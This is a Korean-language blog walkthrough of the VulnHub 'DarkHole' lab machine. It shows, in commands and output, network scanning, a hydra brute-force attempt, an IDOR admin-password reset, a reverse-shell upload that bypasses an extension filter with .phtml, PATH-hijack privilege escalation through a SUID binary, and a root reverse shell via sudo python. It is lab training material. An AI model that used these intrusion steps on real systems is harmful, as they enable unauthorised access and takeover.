netdiscover -r 192.168.200.0/24 를 통하여 네트워크에 속한 머신을 찾습니다.
Currently scanning: Finished! | Screen View: Unique Hosts
10 Captured ARP Req/Rep packets, from 4 hosts. Total size: 600
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.200.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.200.2 00:50:56:e6:5c:f2 5 300 VMware, Inc.
192.168.200.254 00:50:56:ef:f5:a0 2 120 VMware, Inc.
192.168.200.133 00:0c:29:39:b5:9c 2 120 VMware, Inc.
머신을 찾아보니 머신의 주소는 192.168.200.133으로 확인이 되네요
머신에 대한 전체 포트스캔을 하겠습니다.
전체 포트스캔을 하니 22와 80번 포트 두개가 활성화 되어 있습니다.
┌──(root㉿kali)-[/var/backups]
└─# nmap --open -p- -Pn --max-retries 1 --min-rate 4000 192.168.200.133
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024-10-01 03:00 KST
Nmap scan report for 192.168.200.133
Host is up (0.0014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:39:B5:9C (VMware)
22번은 SSH의 버전이 노후되었는지를 체크해주면 되고, 80번 포트는
디렉토리 스캔과 robots.txt, 페이지 소스를 점검해줍니다.
┌──(root㉿kali)-[/var/backups]
└─# nmap -sV -sC -Pn -p 22,80 -O 192.168.200.133
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024-10-01 03:01 KST
Nmap scan report for 192.168.200.133
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e4:50:d9:50:5d:91:30:50:e9:b5:7d:ca:b0:51:db:74 (RSA)
| 256 73:0c:76:86:60:63:06:00:21:c2:36:20:3b:99:c1:f7 (ECDSA)
|_ 256 54:53:4c:3f:4f:3a:26:f6:02:aa:9a:24:ea:1b:92:8c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: DarkHole
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
┌──(root㉿kali)-[~/Pentest/DarkHole]
└─# gobuster dir -k -w /usr/share/dirb/wordlists/common.txt -u <http://192.168.200.133>
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://192.168.200.133>
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 280]
/.htaccess (Status: 403) [Size: 280]
/.hta (Status: 403) [Size: 280]
/config (Status: 301) [Size: 319] [--> <http://192.168.200.133/config/>]
/css (Status: 301) [Size: 316] [--> <http://192.168.200.133/css/>]
/index.php (Status: 200) [Size: 810]
/js (Status: 301) [Size: 315] [--> <http://192.168.200.133/js/>]
/server-status (Status: 403) [Size: 280]
/upload (Status: 301) [Size: 319] [--> <http://192.168.200.133/upload/>]
서버의 upload 경로에는 사진이 한 장 있을 뿐,
웹 서버에는 소스코드나 로그인 창에서 별다른 취약점이 보이지는 않습니다.
현재 웹 사이트의 로그인 기능에서는 SQLi 취약점은 발견되지 않았으며
로그인이 실패했을 때 아이디가 틀린 것인지 패스워드가 틀린 것인지는
구분하여 알려주지 않지만, 회원가입 기능에서 admin을 사용하려 하면
이미 존재하는 계정이라는 문구가 나오는 것으로 보아 admin 계정에 대해서
브루트포스 공격을 시도할 수 있을 것 같습니다.
┌──(root㉿kali)-[~/Pentest/DarkHole]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.200.133 http-post-form "/login.php:username=^USER^&password=^PASS^:username or password is incorrect" -V -f
브루트포스 공격을 진행하면서 아무리 기다려도 진전이 없어서 다른 곳에서
취약점이 발생하는지 싶어서 회원가입을 해본 뒤에 인터페이스를 둘러봤습니다.
패스워드를 변경하는 곳에서 패킷을 잡은 뒤에 id 파라미터를 1로 변경하면
기존에 존재하던 admin 계정의 패스워드를 변경할 수 있는 취약점이 발견되어
이것으로 어드민 계정의 패스워드를 변경할 수 있었습니다.
관리자 계정에 로그인하자 업로드를 할 수 있는 폼이 나옵니다.
이곳에서 PHP 리버스쉘을 업로드하여 리버스쉘을 연결해보도록 하겠습니다.
PHP 리버스쉘을 업로드 하였으나 jpg, png, gif 확장자만 허용된다고 합니다.
버프스위트로 잡아서 우회가 가능한지 시도해보겠습니다.
버프스위트에서 실험해보니 확장자가 jpg, png, gif만 화이트리스트로 검증하는게 아니라
블랙리스트로 php만 검증하고 있다는 것을 알았습니다.
php3, php5, php7, phtml을 모두 업로드해본 결과 phtml이 업로드 되었으며
스크립트가 실행된것을 파악했습니다.
쉘에 연결된 이후에 홈 디렉토리에서는 john과 darkhole 계정의 디렉토리가 존재했는데
john의 .ssh 디렉토리에 접근 권한이 있었지만 파일을 읽거나 가져올 권한은 존재하지 않았습니다.
www-data@darkhole:/home/john$ ls -la
total 72
drwxrwxrwx 5 john john 4096 Jul 17 2021 .
drwxr-xr-x 4 root root 4096 Jul 16 2021 ..
-rw------- 1 john john 1722 Jul 17 2021 .bash_history
-rw-r--r-- 1 john john 220 Jul 16 2021 .bash_logout
-rw-r--r-- 1 john john 3771 Jul 16 2021 .bashrc
drwx------ 2 john john 4096 Jul 17 2021 .cache
drwxrwxr-x 3 john john 4096 Jul 17 2021 .local
-rw------- 1 john john 37 Jul 17 2021 .mysql_history
-rw-r--r-- 1 john john 807 Jul 16 2021 .profile
drwxrwx--- 2 john www-data 4096 Jul 17 2021 .ssh
-rwxrwx--- 1 john john 1 Jul 17 2021 file.py
-rwxrwx--- 1 john john 8 Jul 17 2021 password
-rwsr-xr-x 1 root root 16784 Jul 17 2021 toto
-rw-rw---- 1 john john 24 Jul 17 2021 user.txt
하지만 toto라는 파일에서 SUID가 설정되어 있었고 읽기 권한이 존재하여
칼리의 tmp 디렉토리로 전송하였습니다.
www-data@darkhole:/home/john$ scp toto kali@192.168.200.132:/tmp
Could not create directory '/var/www/.ssh'.
The authenticity of host '192.168.200.132 (192.168.200.132)' can't be established.
ECDSA key fingerprint is SHA256:vH32Q8Ux2emkPBGeKxmzpm4lJXFfQQ+M92Vv4MTy5zY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
kali@192.168.200.132's password:
toto 100% 16KB 5.2MB/s 00:00
ltrace로 분석해본 결과 사용자 아이디와 그룹을 1001로 변경하는 로직입니다.
setuid에서는 성공했지만, setgid에서는 실패한 것을 볼 수 있습니다.
┌──(root㉿kali)-[/tmp]
└─# ltrace ./toto
setuid(1001) = 0
setgid(1001) = -1
system("id"uid=1001 gid=0(root) groups=0(root)
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
현재 id 명령을 사용하고 있는데, 이 명령 환경변수를 변조하면 권한상승이 가능합니다.
즉 id라는 명령어를 호출할 때 /bin/bash와 같은 것을 삽입한다면
www-data 사용자여도 toto를 실행하면 john 권한의 쉘을 획득합니다.
www-data@darkhole:/home/john/.ssh$ cd /tmp
www-data@darkhole:/tmp$ echo '/bin/bash' > id
www-data@darkhole:/tmp$ chmod 777 id
www-data@darkhole:/tmp$ export PATH=/tmp:$PATH
www-data@darkhole:/tmp$ cd /home/john/
www-data@darkhole:/home/john$ ./toto
john@darkhole:/home/john$
john 으로 권한상승 한 후에는 유저 플래그를 읽어줍니다.
john@darkhole:/home/john$ cat user.txt
DarkHole{You_Can_DO_It}
john 계정에서 사용할 수 있는 sudo 권한이 무엇인지 확인하니 file.py였습니다.
john@darkhole:~$ sudo -l
Matching Defaults entries for john on darkhole:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin
User john may run the following commands on darkhole:
(root) /usr/bin/python3 /home/john/file.py
/usr/bin/python3 /home/john/file.py명령어는 sudo 패스워드 없이 이용할 수 있으니
이곳에 리버스쉘 코드를 삽입하면 명령을 실행했을 때
리버스 쉘이 루트 권한으로 연결될 것입니다.
┌──(root㉿kali)-[~/Pentest/DarkHole]
└─# nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.200.132] from (UNKNOWN) [192.168.200.133] 50310
# whoami
whoami
root
# cd /root
cd /root
# ls -la
ls -la
total 44
drwx------ 6 root root 4096 Jul 17 2021 .
drwxr-xr-x 20 root root 4096 Jul 15 2021 ..
-rw------- 1 root root 2846 Jul 17 2021 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Jul 17 2021 .cache
drwxr-xr-x 3 root root 4096 Jul 17 2021 .local
-rw------- 1 root root 18 Jul 15 2021 .mysql_history
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 25 Jul 17 2021 root.txt
drwxr-xr-x 3 root root 4096 Jul 15 2021 snap
drwx------ 2 root root 4096 Jul 15 2021 .ssh
# cat root.txt
cat root.txt
DarkHole{You_Are_Legend}
개인적으로 정말 재밌게 풀었던 머신입니다.
간단하지만 패킷을 조작하는 웹 취약점으로 인한 초기침투부터,
여러가지 경로와 파일을 직접 확인해가며 권한 상승 취약점을 찾다가
환경변수 조작부터 파일 조작까지 이르는 재밌는 경험을 했습니다.
무엇보다 지난 머신에서 배웠던 ltrace를 잊지 않고 직접 해봄으로써
ltrace에서 발견된 명령어를 통해 환경변수 조작으로 권한상승을 이어갔다는 것에서
뿌듯함도 느꼈던 머신입니다.
[VulnHub] Empire LupiOne (2) | 2024.10.05 |
---|